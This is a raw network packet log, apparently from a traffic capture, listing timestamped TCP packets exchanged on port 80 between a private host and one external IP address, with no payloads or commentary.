Dec 23, 2024 06:54:23.386601925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.387587070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.387634039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.387768984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.387810946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.388600111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.388647079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.388691902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.388736010 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.389729023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.389781952 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.389863968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.389905930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.390769005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.390813112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.390918016 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.391355991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.391835928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.391896009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.391998053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.392045975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.392921925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.392978907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.393023968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.393064022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.393989086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.394038916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.394084930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.394129992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.395059109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.395102024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.395128012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.395169020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.396121979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.396176100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.396198988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.396284103 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.397193909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.397237062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.397363901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.397402048 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.398269892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.398325920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.398432970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.398473024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.399568081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.399584055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.399612904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.399626017 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.400453091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.400494099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.400594950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.400635958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.401535034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.401580095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.401664972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.401704073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.402563095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.402615070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.402622938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.402667046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.403635979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.403681040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.403743982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.403784990 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.404714108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.404757977 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.404918909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.404951096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.405760050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.405802965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.405879021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.405915022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.406862020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.406915903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.406948090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.406985044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.407944918 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.407999992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.408031940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.408092022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.409004927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.409054995 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.409147024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.409188032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.410084009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.410132885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.410171986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.410211086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.411147118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.411195993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.411277056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.411323071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.412235975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.412288904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.412328005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.412370920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.413335085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.413393974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.413438082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.413477898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.414397001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.414438963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.414491892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.414534092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.415467024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.415518045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.415566921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.415611029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.416516066 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.416569948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.416585922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.416629076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.417588949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.417638063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.417659044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.417701960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.418680906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.418746948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.418792963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.418836117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.419754982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.419805050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.419852018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.419894934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.420836926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.420887947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.420952082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.420991898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.421921968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.421973944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.422014952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.422055006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.422997952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.423098087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.423124075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.423158884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.424076080 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.424118996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.424127102 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.424560070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.425133944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.425183058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.425210953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.425247908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.426350117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.426399946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.426412106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.426481009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.427282095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.427366018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.427406073 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.427442074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.428344011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.428397894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.428442955 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.428483963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.429431915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.429486036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.429523945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.429563046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.430499077 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.430542946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.430589914 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.430627108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.431576967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.431636095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.431663990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.431703091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.432621002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.432676077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.432733059 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.432773113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.433763981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.433866024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.433890104 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.433931112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.434779882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.434830904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.434891939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.434932947 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.435858965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.435911894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.435947895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.435987949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.436942101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.436990023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.437027931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.437067032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.437999964 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.438045979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.438092947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.438133001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.574812889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.574851036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.574947119 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.574985981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.575135946 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.575191021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.575258017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.575304031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.576257944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.576311111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.576364040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.576411963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.577263117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.577311993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.577403069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.577450991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.578339100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.578387022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.578471899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.578520060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.579437017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.579490900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.579529047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.579576969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.580476046 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.580526114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.580586910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.580630064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.581598043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.581654072 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.581659079 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.581697941 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.582608938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.582660913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.582705975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.582747936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.583883047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.583925009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.583978891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.584822893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.584877014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.584887981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.584929943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.585863113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.585916996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.585962057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.586003065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.586905956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.587028980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.587085009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.588099957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.588191986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.588208914 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.588258982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.589090109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.589143991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.589188099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.589231968 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.590132952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.590192080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.590240002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.590282917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.591222048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.591326952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.591377020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.592298031 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.592350006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.592396021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.592442036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.593383074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.593435049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.593497992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.593544006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.594469070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.594520092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.594557047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.594594955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.595540047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.595628977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.595700979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.596648932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.596700907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.596744061 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.596785069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.597688913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.597743988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.597783089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.597826958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.598773003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.598845959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.598860025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.598901033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.599836111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.599888086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.599944115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.600887060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.600912094 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.600941896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.600966930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.601938009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.602003098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.602057934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.603014946 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.603130102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.603184938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.604113102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.604165077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.604198933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.604239941 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.605199099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.605252028 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.605294943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.605340958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.625710964 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.625747919 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.625761986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.625926018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.625958920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.625981092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.625994921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626007080 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626007080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.626036882 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.626060963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.626509905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626523018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626533985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626545906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626558065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626569986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.626581907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.626611948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.627280951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627300024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627372026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.627376080 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627388954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627399921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627410889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627417088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.627423048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.627444029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.627470970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.628134966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.628173113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.628185034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.628196001 CET	80	49889	185.215.113.206	192.168.2.6
